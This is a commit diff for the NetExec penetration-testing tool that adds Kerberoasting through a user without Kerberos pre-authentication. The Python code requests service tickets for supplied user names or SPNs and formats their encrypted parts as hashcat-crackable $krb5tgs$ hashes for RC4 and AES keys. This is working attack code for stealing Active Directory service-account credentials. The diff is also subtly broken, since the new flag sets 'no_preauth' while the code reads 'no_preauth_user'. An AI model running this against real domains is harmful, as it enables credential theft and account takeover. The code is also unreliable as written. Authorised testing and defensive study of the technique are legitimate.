Skip to content

Commit 358c4ad

Browse files
committed
Add Kerberoasting support with no-preauth user
1 parent fbc787c commit 358c4ad

3 files changed

Lines changed: 123 additions & 0 deletions

File tree

nxc/protocols/ldap.py

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -981,6 +981,54 @@ def asreproast(self):
981981
hash_asreproast.write(f"{hash_TGT}\n")
982982

983983
def kerberoasting(self):
984+
if self.args.no_preauth_user:
985+
if not self.args.username:
986+
self.logger.fail("Use -u/--username to supply a list of usernames or SPNs (file or comma-separated list)")
987+
return
988+
989+
usernames = []
990+
for item in self.args.username:
991+
if os.path.isfile(item):
992+
with open(item, encoding="utf-8") as f:
993+
usernames.extend(l.strip() for l in f if l.strip())
994+
else:
995+
usernames.append(item.strip())
996+
997+
skipped = []
998+
hashes = []
999+
1000+
for spn in usernames:
1001+
base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
1002+
1003+
if base_name.lower() == "krbtgt" or base_name.endswith("$"):
1004+
skipped.append(base_name)
1005+
continue
1006+
1007+
hashline = KerberosAttacks(self).get_tgs_no_preauth(
1008+
self.args.no_preauth_user,
1009+
spn
1010+
)
1011+
if hashline:
1012+
hashes.append(hashline)
1013+
1014+
if skipped:
1015+
self.logger.display(f"Skipping account: {', '.join(skipped)}")
1016+
1017+
if hashes:
1018+
self.logger.display(f"Total of records returned {len(hashes)}")
1019+
else:
1020+
self.logger.highlight("No entries found!")
1021+
1022+
for line in hashes:
1023+
self.logger.highlight(line)
1024+
if self.args.kerberoasting:
1025+
with open(self.args.kerberoasting, "a+", encoding="utf-8") as f:
1026+
f.write(line + "\n")
1027+
1028+
return
1029+
1030+
1031+
9841032
# Building the search filter
9851033
searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
9861034
attributes = [
@@ -1436,3 +1484,5 @@ def bloodhound(self):
14361484
if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"):
14371485
z.write(each_file)
14381486
os.remove(each_file)
1487+
1488+

nxc/protocols/ldap/kerberos.py

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -104,6 +104,56 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None):
104104

105105
return entry
106106

107+
def output_tgs_from_asrep(self, asrep_blob, spn, fd=None):
108+
asrep = decoder.decode(asrep_blob, asn1Spec=AS_REP())[0]
109+
realm = self.domain.upper()
110+
enc = asrep['ticket']['enc-part']
111+
etype = enc['etype']
112+
cipher = enc['cipher'].asOctets()
113+
114+
if etype == constants.EncryptionTypes.rc4_hmac.value: # 23
115+
chk = hexlify(cipher[:16]).decode()
116+
data = hexlify(cipher[16:]).decode()
117+
entry = "$krb5tgs${}$*{}${}${}*${}${}".format(
118+
etype,
119+
spn.split('/')[0],
120+
realm,
121+
spn.replace(":", "~"),
122+
chk,
123+
data,
124+
)
125+
126+
elif etype == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: # 17
127+
chk = hexlify(cipher[-12:]).decode()
128+
data = hexlify(cipher[:-12]).decode()
129+
entry = "$krb5tgs${}${}${}$*{}*${}${}".format(
130+
etype,
131+
spn.split('/')[0],
132+
realm,
133+
spn.replace(":", "~"),
134+
chk,
135+
data,
136+
)
137+
138+
elif etype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: # 18
139+
chk = hexlify(cipher[-12:]).decode()
140+
data = hexlify(cipher[:-12]).decode()
141+
entry = "$krb5tgs${}${}${}$*{}*${}${}".format(
142+
etype,
143+
spn.split('/')[0],
144+
realm,
145+
spn.replace(":", "~"),
146+
chk,
147+
data,
148+
)
149+
else:
150+
self.logger.fail(f"[{spn}] etype {etype} not supported")
151+
return None
152+
153+
if fd:
154+
fd.write(entry + "\n")
155+
return entry
156+
107157
def get_tgt_kerberoasting(self, kcache=None):
108158
if kcache:
109159
if getenv("KRB5CCNAME"):
@@ -178,6 +228,28 @@ def get_tgt_kerberoasting(self, kcache=None):
178228
nxc_logger.debug(f"Final TGT: {tgt_data}")
179229
return tgt_data
180230

231+
def get_tgs_no_preauth(self, no_preauth_user, spn):
232+
no_pre_princ = Principal(no_preauth_user,
233+
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
234+
235+
try:
236+
ticket, _cipher, _old, _sess = getKerberosTGT(
237+
clientName=no_pre_princ,
238+
password="",
239+
domain=self.domain,
240+
lmhash=b"",
241+
nthash=b"",
242+
aesKey="",
243+
kdcHost=self.kdcHost,
244+
serverName=spn,
245+
kerberoast_no_preauth=True
246+
)
247+
except Exception as e:
248+
nxc_logger.debug(f"Unable to retrieve the ticket for {spn} via {no_preauth_user}: {e}")
249+
return None
250+
251+
return self.output_tgs_from_asrep(ticket, spn)
252+
181253
def get_tgt_asroast(self, userName, requestPAC=True):
182254
client_name = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
183255

nxc/protocols/ldap/proto_args.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ def proto_args(parser, parents):
1313
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
1414
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
1515
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
16+
egroup.add_argument("--no-preauth", "-np",dest="no_preauth", help="No-preauth user for AS-REQ Kerberoast (use with -u users/SPNs).")
1617

1718
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
1819
vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")

0 commit comments

Comments
 (0)